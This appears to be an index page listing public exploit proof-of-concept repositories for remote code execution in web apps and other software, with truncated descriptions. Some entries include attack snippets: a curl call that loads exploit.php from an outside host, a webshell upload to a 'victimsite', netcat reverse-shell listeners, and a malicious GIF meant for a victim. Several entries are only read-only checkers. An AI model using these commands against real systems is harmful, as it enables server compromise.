Graver

Graver Description Proof of Concept script to exploit the authenticated SSTI+RCE in Grav CMS CVE-2024-28116. It creates a malicious RCE page on the server running the vulnerable Grav CMS. References: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 Notes Since it is an authenticated vulnerability ...

pinky

Uploading a webshell is almost always the next step after exploiting a web vulnerability, but services like Cloudflare and the new generation of firewalls do a really good job preventing attackers to run commands in the target via HTTP or HTTPS. On the other hand, text content filtering and...

Zena-CVE-2021-45026

Zena - Stored XSS to RCE Exploit POC Exploit POC for Rocket Software's Zena application v. 4.2.1 - Stored XSS to RCE CVE-2021-45025 CVE-2021-45026 https://phoenix-sec.io/2022/06/17/Zena-CookieMonsteRCE.html POC Process: Logs into Zena's webconfig page using default credentials Drops Stored XSS...

CVE-2016-010033-010045

CVE-2016-010033-010045 Php mail RCE CVE-2016-010033/45 imported to python3 Getting Started These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system...

CVE-2019-11043

CVE-2019–11043: PHP-FPM Nginx Remote Code Execution Vulnerability Vulnerability Description and Impact CVE-2019–11043 is a remote code execution RCE vulnerability. It affects PHP-FPM, which is a FastCGI Process Manager that is commonly used with Nginx web servers. The flaw arises from inadequate...

CVE-2024-11613-wp-file-upload

CVE-2024-11613-wp-file-upload Exploit by Chirag Artani https://3rag.com for CVE-2024-11613 in WordPress File Upload Here is information - The WordPress File Upload plugin for WordPress is vulnerable to Remote Code Execution, Arbitrary File Read, and Arbitrary File Deletion in all versions up to,...

CVE-2024-25641

Cacti CVE-2024-25641 Authenticated Package Upload RCE Proof of Concept PoC This script is a Proof of Concept PoC for exploiting the CVE-2024-25641 vulnerability in Cacti, a web-based monitoring tool. The script automates the process of authenticating with the application, uploading a malicious...

CVE-2025-24893

CVE-2025-24893 Exploit Title: XWiki 15.10.10 - Unauthenticated Remote Code Execution Date: 09/08/2025 Exploit Author: D3Ext Vendor Homepage: https://www.xwiki.org/ Software Link: https://github.com/xwiki/xwiki-platform Version: 15.10.10 Tested on: Kali Linux 2025 CVE: CVE-2025-24893 Explanation...

ThinkCMF_getshell

ThinkCMFgetshell - Arbitrary File Inclusion Vulnerability in the ThinkCMF Framework A remote attacker can execute arbitrary code on the remote server by crafting a specific request packet without requiring any privileges. Python usage: + python ThinkCMFgetshell.py http://x.x.x.x/ python...

CVE-2024-6386

CVE-2024-6386 - RCE via Twig SSTI in WPML PoC PoC on Python+Selenium Detailed research in Russian: CVE-2024-6386 CVSS Base Score: 9.9 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Summary In WPML you are available to use specific WordPress Shortcodes that allows you to create macroses and...

redis-cve-2026-23479-check

redis-cve-2026-23479-check Docs: https://docs.dugganusa.com/ You do you. I do me. We share contexts. Your Redis stays yours; the checker reads one INFO line and changes nothing. A safe, read-only version checker for CVE-2026-23479 — the use-after-free in Redis's blocking-client code that lets an...

CVE-2024-9441

CVE-2024-9441 Description of the Vulnerability: This code exploits a Remote Code Execution RCE vulnerability that occurs due to improper input sanitization in a PHP-based web application. The specific weakness is in the "forgot password" functionality index.php?c=user&m=forgotpassword, where user...

CVE-2022-28219

CVE-2022-28219 POC for CVE-2022-28219 affecting ManageEngine ADAudit Plus builds -l -d -f /windows/win.ini Or to run calc.exe on the target: python3 CVE-2022-28219.py -t targe...

CVE-2023-46604

CVE-2023-46604 Set up docker-compose containing 2 images: the victim machine and the target machine according to the required environment. On the victim machine, start ActiveMQ Switch to the attacker machine: • Open an HTTP service to send the PoC: python3 -m http.server • Use netcat to listen fo...

cve-2022-22947

cve-2022-22947 Spring Cloud Gateway is an API gateway in Spring. Versions 3.1.0 and 3.0.6 inclusive and earlier contain a SpEL expression injection vulnerability. When an attacker can access the Actuator API, they can exploit this vulnerability to execute arbitrary commands. Usage: ➜...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...

CVE-2025-12673

Flex QR Code Generator ' shell.php curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \ -F "action=flexqrupdateqr" \ -F "qrId=1" \ -F "qrData="data":"https://example.com"" \ -F "[email protected]" Details The vulnerability exists in the updateqrcode method of the...

CVE-2026-20841-PoC

CVE-2026-20841 - Windows Notepad App Remote Code Execution Vulnerability Vulnerability Overview Field| Detail ---|--- CVE ID| CVE-2026-20841 Title| Windows Notepad App Remote Code Execution Vulnerability Impact| Remote Code Execution Max Severity| Important CVSS v3.1 Base / Temporal| 8.8 / 7.7 CV...

apache-httpd-path-traversal-checker

Apache HTTPD Path Traversal Checker 0x00 Overview On October 5, 2021, the directory traversal vulnerability CVE-2021-41773 in Apache HTTPD 2.4.49 was disclosed online, which could lead to arbitrary file reading if the traversed directory is accessible, such as when configured with Require all...

CVE-2020-11932

CVE-2020-11932 Double-Free bug in WhatsApp exploit poc. Note: Make sure to set the listner ip in exploit.c inorder to get shell nc -lvp 1337 or whatever port. and then compile. make or gcc -o exploit egiflib.c exploit.c then run ./exploit and save the content to .gif and send to victim. Source...